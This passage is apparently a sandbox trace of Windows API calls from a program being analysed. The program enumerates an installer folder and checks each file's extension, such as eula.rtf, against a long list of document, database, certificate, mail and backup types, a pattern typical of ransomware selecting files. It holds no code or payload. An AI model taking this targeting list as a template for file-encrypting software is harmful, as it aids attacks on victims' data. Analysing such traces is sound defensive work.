lpString2=".rtf") returned -1 [0097.398] lstrlenW (lpString=".md") returned 3 [0097.398] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0097.398] lstrlenW (lpString=".mda") returned 4 [0097.398] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0097.398] lstrlenW (lpString=".mdb") returned 4 [0097.398] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0097.398] lstrlenW (lpString=".mde") returned 4 [0097.398] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0097.398] lstrlenW (lpString=".mdf") returned 4 [0097.398] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0097.398] lstrlenW (lpString=".mdw") returned 4 [0097.398] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0097.398] lstrlenW (lpString=".mef") returned 4 [0097.398] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0097.398] lstrlenW (lpString=".mft") returned 4 [0097.398] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0097.398] lstrlenW (lpString=".mfw") returned 4 [0097.398] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0097.398] lstrlenW (lpString=".mht") returned 4 [0097.398] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0097.398] lstrlenW (lpString=".mhtml") returned 6 [0097.398] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0097.398] lstrlenW (lpString=".mka") returned 4 [0097.399] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0097.399] lstrlenW (lpString=".mkidx") returned 6 [0097.399] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0097.399] lstrlenW (lpString=".mkv") returned 4 [0097.399] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0097.399] lstrlenW (lpString=".mos") returned 4 [0097.399] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0097.399] lstrlenW (lpString=".mov") returned 4 [0097.399] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0097.399] lstrlenW (lpString=".mp3") returned 4 [0097.399] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0097.399] lstrlenW (lpString=".mp4") returned 4 [0097.399] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0097.399] lstrlenW (lpString=".mpeg") returned 5 [0097.399] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0097.399] lstrlenW (lpString=".mpg") returned 4 [0097.399] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0097.399] lstrlenW (lpString=".mpv") returned 4 [0097.399] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0097.399] lstrlenW (lpString=".mrw") returned 4 [0097.399] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0097.399] lstrlenW (lpString=".msg") returned 4 [0097.399] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0097.399] lstrlenW (lpString=".mxl") returned 4 [0097.399] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0097.399] lstrlenW (lpString=".myd") returned 4 [0097.399] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0097.399] lstrlenW (lpString=".myi") returned 4 [0097.400] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0097.400] lstrlenW (lpString=".nef") returned 4 [0097.400] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0097.400] lstrlenW (lpString=".nrw") returned 4 [0097.400] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0097.400] lstrlenW (lpString=".obj") returned 4 [0097.400] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0097.400] lstrlenW (lpString=".odb") returned 4 [0097.400] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0097.400] lstrlenW (lpString=".odc") returned 4 [0097.400] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0097.400] lstrlenW (lpString=".odm") returned 4 [0097.400] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0097.400] lstrlenW (lpString=".odp") returned 4 [0097.400] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0097.400] lstrlenW (lpString=".ods") returned 4 [0097.400] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0097.400] lstrlenW (lpString=".oft") returned 4 [0097.400] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0097.400] lstrlenW (lpString=".one") returned 4 [0097.400] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0097.400] lstrlenW (lpString=".onepkg") returned 7 [0097.400] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0097.400] lstrlenW (lpString=".onetoc2") returned 8 [0097.400] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0097.400] lstrlenW (lpString=".opt") returned 4 [0097.400] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0097.400] lstrlenW (lpString=".oqy") returned 4 [0097.400] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0097.401] lstrlenW (lpString=".orf") returned 4 [0097.401] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0097.401] lstrlenW (lpString=".p12") returned 4 [0097.401] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0097.401] lstrlenW (lpString=".p7b") returned 4 [0097.401] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0097.401] lstrlenW (lpString=".p7c") returned 4 [0097.401] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0097.401] lstrlenW (lpString=".pam") returned 4 [0097.401] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0097.401] lstrlenW (lpString=".pbm") returned 4 [0097.401] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0097.401] lstrlenW (lpString=".pct") returned 4 [0097.401] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0097.401] lstrlenW (lpString=".pcx") returned 4 [0097.401] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0097.401] lstrlenW (lpString=".pdd") returned 4 [0097.401] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0097.401] lstrlenW (lpString=".pdf") returned 4 [0097.401] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0097.401] lstrlenW (lpString=".pdp") returned 4 [0097.401] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0097.401] lstrlenW (lpString=".pef") returned 4 [0097.401] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0097.401] lstrlenW (lpString=".pem") returned 4 [0097.401] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0097.401] lstrlenW (lpString=".pff") returned 4 [0097.401] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0097.401] lstrlenW (lpString=".pfm") returned 4 [0097.402] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0097.402] lstrlenW (lpString=".pfx") returned 4 [0097.402] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0097.402] lstrlenW (lpString=".pgm") returned 4 [0097.402] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0097.402] lstrlenW (lpString=".php") returned 4 [0097.402] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0097.402] lstrlenW (lpString=".php3") returned 5 [0097.402] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0097.402] lstrlenW (lpString=".php4") returned 5 [0097.402] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0097.402] lstrlenW (lpString=".php5") returned 5 [0097.402] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0097.402] lstrlenW (lpString=".phtml") returned 6 [0097.402] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0097.402] lstrlenW (lpString=".pict") returned 5 [0097.402] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0097.402] lstrlenW (lpString=".pl") returned 3 [0097.402] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0097.402] lstrlenW (lpString=".pls") returned 4 [0097.402] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0097.402] lstrlenW (lpString=".pm") returned 3 [0097.402] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0097.402] lstrlenW (lpString=".png") returned 4 [0097.402] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0097.402] lstrlenW (lpString=".pnm") returned 4 [0097.402] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0097.402] lstrlenW (lpString=".pot") returned 4 [0097.402] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0097.403] lstrlenW (lpString=".potm") returned 5 [0097.403] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0097.403] lstrlenW (lpString=".potx") returned 5 [0097.403] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0097.403] lstrlenW (lpString=".ppa") returned 4 [0097.403] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0097.403] lstrlenW (lpString=".ppam") returned 5 [0097.403] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0097.403] lstrlenW (lpString=".ppm") returned 4 [0097.403] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0097.403] lstrlenW (lpString=".pps") returned 4 [0097.403] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0097.403] lstrlenW (lpString=".ppsm") returned 5 [0097.403] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0097.403] lstrlenW (lpString=".ppt") returned 4 [0097.403] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0097.403] lstrlenW (lpString=".pptm") returned 5 [0097.403] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0097.403] lstrlenW (lpString=".pptx") returned 5 [0097.403] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0097.403] lstrlenW (lpString=".prn") returned 4 [0097.403] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0097.403] lstrlenW (lpString=".ps") returned 3 [0097.403] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0097.403] lstrlenW (lpString=".psb") returned 4 [0097.403] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0097.403] lstrlenW (lpString=".psd") returned 4 [0097.403] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0097.404] lstrlenW (lpString=".pst") returned 4 [0097.404] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0097.404] lstrlenW (lpString=".ptx") returned 4 [0097.404] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0097.404] lstrlenW (lpString=".pub") returned 4 [0097.404] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0097.404] lstrlenW (lpString=".pwm") returned 4 [0097.404] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0097.404] lstrlenW (lpString=".pxr") returned 4 [0097.404] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0097.404] lstrlenW (lpString=".py") returned 3 [0097.404] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0097.404] lstrlenW (lpString=".qt") returned 3 [0097.404] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0097.404] lstrlenW (lpString=".r3d") returned 4 [0097.404] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0097.404] lstrlenW (lpString=".raf") returned 4 [0097.404] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0097.404] lstrlenW (lpString=".rar") returned 4 [0097.404] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0097.404] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0097.404] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0097.405] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0097.405] FindClose (in: hFindFile=0x3e50600 | out: hFindFile=0x3e50600) returned 1 [0097.405] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0097.405] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1 [0097.405] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0097.405] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038") returned 26 [0097.405] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50840 [0097.406] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.406] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0097.406] lstrlenW (lpString="eula.rtf") returned 8 [0097.406] lstrlenW (lpString=".1cd") returned 4 [0097.406] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0097.406] lstrlenW (lpString=".3ds") returned 4 [0097.406] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0097.406] lstrlenW (lpString=".3fr") returned 4 [0097.406] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0097.406] lstrlenW (lpString=".3g2") returned 4 [0097.406] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0097.406] lstrlenW (lpString=".3gp") returned 4 [0097.406] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0097.406] lstrlenW (lpString=".7z") returned 3 [0097.406] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0097.406] lstrlenW (lpString=".accda") returned 6 [0097.406] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0097.406] lstrlenW (lpString=".accdb") returned 6 [0097.406] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0097.406] lstrlenW (lpString=".accdc") returned 6 [0097.406] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0097.406] lstrlenW (lpString=".accde") returned 6 [0097.406] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0097.406] lstrlenW (lpString=".accdt") returned 6 [0097.406] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0097.406] lstrlenW (lpString=".accdw") returned 6 [0097.407] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0097.407] lstrlenW (lpString=".adb") returned 4 [0097.407] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0097.407] lstrlenW (lpString=".adp") returned 4 [0097.407] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0097.407] lstrlenW (lpString=".ai") returned 3 [0097.407] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0097.407] lstrlenW (lpString=".ai3") returned 4 [0097.407] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0097.407] lstrlenW (lpString=".ai4") returned 4 [0097.407] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0097.407] lstrlenW (lpString=".ai5") returned 4 [0097.407] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0097.407] lstrlenW (lpString=".ai6") returned 4 [0097.407] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0097.407] lstrlenW (lpString=".ai7") returned 4 [0097.407] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0097.407] lstrlenW (lpString=".ai8") returned 4 [0097.407] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0097.407] lstrlenW (lpString=".anim") returned 5 [0097.407] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0097.407] lstrlenW (lpString=".arw") returned 4 [0097.407] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0097.407] lstrlenW (lpString=".as") returned 3 [0097.407] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0097.407] lstrlenW (lpString=".asa") returned 4 [0097.407] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0097.408] lstrlenW (lpString=".asc") returned 4 [0097.408] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0097.408] lstrlenW (lpString=".ascx") returned 5 [0097.408] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0097.408] lstrlenW (lpString=".asm") returned 4 [0097.408] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0097.408] lstrlenW (lpString=".asmx") returned 5 [0097.408] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0097.408] lstrlenW (lpString=".asp") returned 4 [0097.408] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0097.408] lstrlenW (lpString=".aspx") returned 5 [0097.408] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0097.408] lstrlenW (lpString=".asr") returned 4 [0097.408] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0097.408] lstrlenW (lpString=".asx") returned 4 [0097.408] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0097.408] lstrlenW (lpString=".avi") returned 4 [0097.408] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0097.408] lstrlenW (lpString=".avs") returned 4 [0097.408] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0097.408] lstrlenW (lpString=".backup") returned 7 [0097.408] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0097.408] lstrlenW (lpString=".bak") returned 4 [0097.408] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0097.408] lstrlenW (lpString=".bay") returned 4 [0097.408] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0097.408] lstrlenW (lpString=".bd") returned 3 [0097.408] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0097.408] lstrlenW (lpString=".bin") returned 4 [0097.409] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0097.409] lstrlenW (lpString=".bmp") returned 4 [0097.409] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0097.409] lstrlenW (lpString=".bz2") returned 4 [0097.409] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0097.409] lstrlenW (lpString=".c") returned 2 [0097.409] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0097.409] lstrlenW (lpString=".cdr") returned 4 [0097.409] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0097.409] lstrlenW (lpString=".cer") returned 4 [0097.409] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0097.409] lstrlenW (lpString=".cf") returned 3 [0097.409] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0097.409] lstrlenW (lpString=".cfc") returned 4 [0097.409] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0097.409] lstrlenW (lpString=".cfm") returned 4 [0097.409] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0097.409] lstrlenW (lpString=".cfml") returned 5 [0097.409] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0097.409] lstrlenW (lpString=".cfu") returned 4 [0097.409] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0097.409] lstrlenW (lpString=".chm") returned 4 [0097.409] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0097.409] lstrlenW (lpString=".cin") returned 4 [0097.409] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0097.409] lstrlenW (lpString=".class") returned 6 [0097.409] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0097.409] lstrlenW (lpString=".clx") returned 4 [0097.409] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0097.410] lstrlenW (lpString=".config") returned 7 [0097.410] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0097.410] lstrlenW (lpString=".cpp") returned 4 [0097.410] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0097.410] lstrlenW (lpString=".cr2") returned 4 [0097.410] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0097.410] lstrlenW (lpString=".crt") returned 4 [0097.410] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0097.410] lstrlenW (lpString=".crw") returned 4 [0097.410] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0097.410] lstrlenW (lpString=".cs") returned 3 [0097.410] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0097.410] lstrlenW (lpString=".css") returned 4 [0097.410] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0097.410] lstrlenW (lpString=".csv") returned 4 [0097.410] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0097.410] lstrlenW (lpString=".cub") returned 4 [0097.410] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0097.410] lstrlenW (lpString=".dae") returned 4 [0097.410] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0097.410] lstrlenW (lpString=".dat") returned 4 [0097.410] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0097.410] lstrlenW (lpString=".db") returned 3 [0097.410] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0097.410] lstrlenW (lpString=".dbf") returned 4 [0097.410] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0097.410] lstrlenW (lpString=".dbx") returned 4 [0097.410] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0097.410] lstrlenW (lpString=".dc3") returned 4 [0097.411] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0097.411] lstrlenW (lpString=".dcm") returned 4 [0097.411] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0097.411] lstrlenW (lpString=".dcr") returned 4 [0097.411] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0097.411] lstrlenW (lpString=".der") returned 4 [0097.411] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0097.411] lstrlenW (lpString=".dib") returned 4 [0097.411] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0097.411] lstrlenW (lpString=".dic") returned 4 [0097.411] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0097.411] lstrlenW (lpString=".dif") returned 4 [0097.411] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0097.411] lstrlenW (lpString=".divx") returned 5 [0097.411] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0097.411] lstrlenW (lpString=".djvu") returned 5 [0097.411] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0097.411] lstrlenW (lpString=".dng") returned 4 [0097.411] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0097.411] lstrlenW (lpString=".doc") returned 4 [0097.411] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0097.411] lstrlenW (lpString=".docm") returned 5 [0097.411] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0097.411] lstrlenW (lpString=".docx") returned 5 [0097.411] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0097.411] lstrlenW (lpString=".dot") returned 4 [0097.411] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0097.411] lstrlenW (lpString=".dotm") returned 5 [0097.411] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0097.412] lstrlenW (lpString=".dotx") returned 5 [0097.412] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0097.412] lstrlenW (lpString=".dpx") returned 4 [0097.412] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0097.412] lstrlenW (lpString=".dqy") returned 4 [0097.412] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0097.412] lstrlenW (lpString=".dsn") returned 4 [0097.412] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0097.412] lstrlenW (lpString=".dt") returned 3 [0097.412] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0097.412] lstrlenW (lpString=".dtd") returned 4 [0097.412] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0097.412] lstrlenW (lpString=".dwg") returned 4 [0097.412] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0097.412] lstrlenW (lpString=".dwt") returned 4 [0097.412] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0097.412] lstrlenW (lpString=".dx") returned 3 [0097.412] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0097.412] lstrlenW (lpString=".dxf") returned 4 [0097.412] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0097.412] lstrlenW (lpString=".edml") returned 5 [0097.412] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0097.412] lstrlenW (lpString=".efd") returned 4 [0097.412] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0097.412] lstrlenW (lpString=".elf") returned 4 [0097.412] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0097.412] lstrlenW 